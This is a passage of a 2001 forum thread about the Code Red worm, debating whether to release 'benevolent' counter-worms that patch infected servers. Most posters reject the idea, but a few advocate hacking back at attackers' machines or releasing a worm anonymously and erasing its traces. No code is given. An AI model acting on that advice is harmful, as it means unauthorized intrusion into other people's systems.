    http://www.internetwebfactory.com/antibodies-00-in dex.htm


    Philip Chin

  441. Then you get lawyers talking about computers... by iconnor · · Score: 1

    The lesser of the two evils. Geeks talking about law or Liability Lawyers talking about computers.
    If you want a good laugh, read a judgement about something computer related - always very funny.
    They need a Lawyer that is also a geek.

  442. where's by Anonymous Coward · · Score: 0

    "Radek" when we need him....:)

  443. Re:Why do favors? by Anonymous Coward · · Score: 0

    Just because they run IIS doesn't mean they should suffer more. For the good of the internet, ALL web servers need to be secure regardless of the vendor.

  444. Or not by Anonymous Coward · · Score: 0

    This would be a BAD idea. It's still a virus, and regardless of intent, you'd be open to litigation / incarceration because of it.

  445. This is definately not a good idea by Foxman98 · · Score: 2

    While the Code Red virus has been spreding rapidly, in part due to all those Windows 2000 users on cable modems, I think this idea of "fixing" everyone's computer is a really really bad one.

    By connecting to someone elses computer, and running code on it without their permision you are in fact committing an illegal activity. I think a much better idea would be to politely inform the machines' owners that their server is infected. Also providing a link to the patch.

    Any unauthorized access is scary. Remember that worm a while back that went around and "fixed" unix systems by patching holes? Remember the outcry about how no one would want that because it was "Their" server and whatnot. Same thing applies here.

    --
    S.t.e.v.e.
  446. first of all... by spam368 · · Score: 0

    first of all, i know I wouldn't want a virus continuously polling to see it someone is trying use a backdoor, hell i dont need the slowdown after the virii is history... second, is it ethical to "fix" someone else's machine?

  447. Code Red II is an anti-virus, partially by Thagg · · Score: 2
    Code Red II has a fighting chance of killing off Code Red I, as it reboots machines that it finds. So, it is partially a good thing; beyond the fact that it will probably convince a percentage of people to abandon Microsoft servers.

    thad

    --
    I love Mondays. On a Monday, anything is possible.
  448. This is a Bad Idea by Satai · · Score: 4, Insightful

    This is a very Bad Idea. First of all, unauthorized access to a computer is, by definition unauthorized. Any worm which spreads changes is illegal and as such a Bad Idea.

    No matter how good your intentions are (RTM just wanted to play around, right?) you cannot take the "law" into your own hands.

    Ethical issues aside, it would be very dangerous to being publicizing that there was a beneficial worm available; immediately, we would get copycat worms everywhere, appearing the same (yes, this could probably be circumvented by MD5 checksums or something, but jeez, if the webmaster was going to go through THAT much trouble, they'd install the damn patch themselves!) but doing far worse things.

    I'm not usually one to spout Libertarian philosophy - but in this case, if somebody wants to leave their box open - through ignorance, laziness, or some other ineffable reason - that is their choice and not the choice of some 15-year old hacker who thinks he'll redeem his l33t friends' images in the media's eyes.

    The defenses always have to be kept up - or else you have to start making judgment calls about which outside sources to give access to, which is a path no one wants to go down.

  449. Anti-codered Virus by triple_c · · Score: 1

    I contacted the local FBI office here in Tampa and they said that according to the current computer crimes law it would be alright to alter the source code of the Code Red virus and make it able to fix servers that are still open. The agent I spoke with also said I should consult a CyberLaw Attorney for more information but to her knowledge it would be legal and probably smiled upon.

    --
    //----(triple c)-------//
  450. Anti-Sub7 worm? by jonnydigital · · Score: 1

    A trojan is safe in the hands of someone who's not going to do any damage, but I've heard of people who go around handing out a Sub7 trojan in chatrooms... sorry, IRC channels ^_^, but disguised as a different kind of file. As soon as the 'victim' runs the file, the 'hacker' goes into their computer and totally wrecks their machine. Newbies don't know any better because it's not obviously a trojan. There ought to be a program that goes around automatically closing open sub7 trojans, or perhaps giving the infected user notification and asking them if they want it removed. How about it?

    --

    jd

  451. AntiVirus-Virus NOT a good idea by coniote · · Score: 1

    I don't think this would be a very goo idea since we will be having a new problem (assuming that the antivirus-virus worked fine). If, and only IF, every user accepts that a virus like program fixes his machine, this program will spread throught the internet like hell ( since no real antivirus will stop it), then, what stops a virus maker of modifying the code so it "looks" like the original, but actually does virus like activities? This will bring a nice problem to the antivirus companies, having to "filter" the bad virus and letting in the good virus. Now, let's talk about the users, generally stupid enought to double click on any attachment they get on their email. Knowing that a good virus is around will make them EVEN more uninformed about what they are running/openning, so if the antivirus software they are using tells them, "Hey this could be a virus, BUT could also be the good guy", asking them if they want to let it in, i have no doubt they would respond with a big YES and merry christmas!!!

  452. Well I'm working on my solution by Anonymous Coward · · Score: 0

    I've already finished writing a test utility to exploit the backdoor on my infected test server. Now I'm working on a PHP script that at attempt to infection will automatically send an HTTP request back to the attacker's backdoor telling it to use ipconfig to turn off the network adapter. If a virus attempts to DOS my line with an ARP storm such as this, I have a moral duty to help protect my neighbors and lock the door, no? You can't say there's no damage from the worm... reports are out today that entire ISP's are shutting down ADSL service for "possibly a couple of days"

  453. East is West and West is East? by fnj · · Score: 1

    ... the owner of the house is the one responsible for making sure the door is locked.

    Well, I can't accept the kind of topsy-turvy view this implies (or maybe I'm just inferring it).

    It is not unlawful and immoral to fail to lock your door. It is unlawful and immoral to enter the private property behind that door and trash it or steal things. Let's not lose sight of who is doing the wrongdoing.

    Is blatantly lax security unwise? Hell, yes! Do we want to settle for a society where every single thing has to be locked down tight, or vultures will vandalize and steal everything? Hell, no! Lock up to a reasonable extent, but at the same time, track down and prosecute the bejesus out of the real wrongdoers.

  454. who is next ... by Anonymous Coward · · Score: 0

    After sitting at datacenter where i work
    and analyzing IDS logs and
    where code red packets are comming from...

    Man, alot of "BigBoys" domains.

    I finally decided to close all my credit cards,
    which i used to buy stuff over the NET.

    Did You ?

  455. Already done, many times by SnapperHead · · Score: 1

    There are plenty of virus / works that do this. For example, the Rameon bug. It didn't cause any damage, it patched up a few security holes, replaced the main web page so admins know what happened.

    Its funny when you look at the number of worms / virus affect Windows and how much damage they cause. Its also funny to look at how many worms are for Linux that don't do any real damage and simply secure a site for you. Now, its not the answer.

    I was watching TechTV this morning, and they estimated that the code red worm costs over $2 Billion USD to fix. They also mentioned that companys aren't getting any smarter. They left with a question of why more companys don't wake up and move on. Its only going to get worse for MS products. The truth is, that *nix is generally much more secure. I personally think its pretty damn impresive how secure OpenBSD, FreeBSD, Linux, etc are comparied to Windows, and how many stupied companys there are still using Windows ...

    --
    until (succeed) try { again(); }
    1. Re:Already done, many times by Anonymous Coward · · Score: 0

      http://www.dynwebdev.com/codered/ These guys came up with a Java program that somehow reverses a codered attack and notifies the offending server. Mr. Gibson pointed this out in his NG.

  456. Why not get providers to get heavy? by Goonie · · Score: 2

    In this case, why don't the cable/xDSL providers start suspending the accounts of people with infected computers? That tends to get people's notice a lot more effectively than vigilante counter-viruses . . .

    --

    Any sufficiently advanced technology is indistinguishable from a rigged demo
    --Andy Finkel (J. Klass?)
    1. Re:Why not get providers to get heavy? by J'raxis · · Score: 2

      MediaOne.net prefers an approach à la machine-gunning a mosquito: completely block port 80 on their entire customer network.

  457. Re:Darwinian Predator - Prey relationship on the n by Dwonis · · Score: 3, Funny
    This is exactly the situation we want! It will force all our bosses that security is of utmost importance, and it will force Microsoft to either shape up or ship out.

    If only this sort of thing weren't illegal where I live...

  458. thinking of the way of fighting the virus ... by porky_pig_jr · · Score: 1

    how 'bout virgin sacrifices?

  459. This can get you busted. Seriously. by Tloluvin · · Score: 1
    Really baaaaaaad idea!

    First off, you can go to jail. This is very much like the stunt that got Max Butler, a.k.a. Max Vision, 18 months in Federal stir. Too bad, because he is an IDS wizard, as well as a pretty decent guy, from all reports. But if I were a DOD investigator working on this case, I'd probably want to see him in the slam myself.

    Secondly, you cannot audit the actions of a worm. And when you close a hole like the one Code Red exploits, you want the actions to leave an audit trail.

    Thirdly, a anti-worm-worm is not certain to infect, and thus patch, the systems that you want patched.

    Better in all ways to just suck it in and patch the systems you own, yourself. And email the poor schmucks who just don't know their W2K boxes have IIS servers running, unpatched, and which have thus been hit, that their systems are infected and infectious. I fired off an email to uunet two days ago about an infected box scanning the networks I monitor. The worm's scans shut down just three hours later. Coincidence?

  460. just watch out for fake fixes now... by Anonymous Coward · · Score: 0

    Just judgeing by the number of responses this topic has generated, I wouldn't be surprised if the code red III virus wasn't sent as a email that claimed to be a virus fix patch to computers uninfected to begin with. I'm still waiting to get infected with something that gets on irc and gets new released movies for me and throws it up on my desktop. Maybe the new wave of white hat hackers will be more grey hat and write exploits that are fun or helpful, but hardley damaging.

  461. Need a real virus to protect yourself by RGRistroph · · Score: 1
    A targeted script from a single machine is great if you are working on your own machines, say want to clean the virus out of all machines behind the firewall at your place of employment, something like that.

    But if you are going to release this into the wild, people on various ISPs are going to see packets coming from your machine and accuse you of trying to hack them. If it infects a "sick" host, makes it well, then infects a few more "sick" host, and then deletes itself and all tracks it can from the first one, it's harder for them to find you to use as a scapegoat.

    Read up about Randall Schwartz and David McOwen before you jump in and run something like that, even if it is on your employer's computers and for good purpose. The fact is, sometimes you have to do your job annonymously.

  462. Re:I Hope You Keep Bail Money Near Your Gun OT by urtica · · Score: 2, Informative
    For more stats and analysis on guns than you could possibly want, see Tim Lambert's archive of his postings to talk.politics.guns
    Country % at-home % gun homicide
    burglaries ownership rate
    Netherlands 48 2 0.9
    England 26-59 5 0.7
    Australia 10 20 2.0
    Canada 10 31 2.1
    USA 14 49 8.8

    The Australian "at-home" burglary rate is actually for Victoria. The range given for England is because the rate is 59% for attempted burglaries and 26% for completed burglaries, so the overall rate must be somewhere in between.

    When one looks at the Australian and Canadian figures, the relationship between gun ownership and "at-home" burglaries isn't so clear as some like to make it out. The correlation between gun ownership and homocide rate is much clearer.
  463. I agree and disagree. by dosun88888 · · Score: 1

    Of course there are many ignorant posts. I've learned to respect people on a post-by-post basis. One day I read an informed opinion, and the next I see the same person talking out of their ass.

    The same would go for a post by a *real* lawyer. I wouldn't accept it until I researched it myself anyhow.

    Just don't do ANYTHING at all, and then you reduce your chances of being arrested for anything. Whether your action is illegal or not, your guilt will be decided by 12 ignorant buffoons anyhow.

    Basically, ignorant postings are a great way to figure out if you'll end up in jail for something or not.

    I'd like to request that people stop making ignorant technical postings, instead.

    ~D

  464. This is a bad idea because... by Christian · · Score: 1

    When someone writes a virus, they very often get it wrong. (Of course, this is just an extension of programmers making their usual mistakes.) As most people know, the Internet Worm had a bug which caused it to bring down machines but this wasn't actually what the author intended. Similarly many of the contemporary worms contain bugs which alter their impact from what their authors actually intended. Nonetheless, they are still very damaging -- sometimes more so due to these mistakes!

    If people start writing "benevolent" worms to fix these problems, they very likely aren't going to get it right the first time. Or even the second. It's hard to debug this sort of code because it's hard to actually predict how it will perform out there on the great sprawling mass of today's hetergenous Internet. They will most likely release buggy code that will cause more damage than it will solve. Naturally this is just one problem and there are undoubtedly others but I hope people don't end up going down this path. At least until some official, well-thought out plan is established.

  465. Web Servers running, but nobody is home! by Rick+Richardson · · Score: 1

    I collected a hundred different IP addresses that were attacking my machine. Then I went to each of those web servers and took a look. 90% of them were completely unpopulated.

    Based on this statistic, I come to the conclusion that most of the problem lies with people that don't even realize they are running a web server. Perhaps when they installed NT they thought you needed to enable the web server in order to access the Internet. I don't know -- its hard to get into the minds of the clueless.

    I further conclude that unless these people are proactively notified that they are the root of the problem, these servers will never get turned off or updated.

    -Rick

  466. Battlefield: Internet by l33tsp34ker · · Score: 1

    The war on Worms will be like any war. We have a common ground, (The internet) being fought over by 2 sides, (hackers and normals). In every conflict up to this point in time, 2 sides have battled with equal technology, and the ultimate deciding factor has been sheer numbers and willpower. The Battleground has always ended up being desecrated and useless. However, over time, peace returns as the remainder of the enemy and all its traces are eradicated. This will be the case on the Internet. Our weapons will be counter-worms, and the battlefield will be the Internet. Sure, it may become despoiled and hard drives may be ruined, but that is a small price to pay seeing as every other war has left entire cities destroyed. As I said, the Internet may well be destroyed as we know it, but in its place a new Internet will form, with a better way of doing things, and peace will return as hackers are confined one by one. Let the battle begin.

    --
    "The difference between genius and stupidity is that genius has its limits."- -- Albert Einstein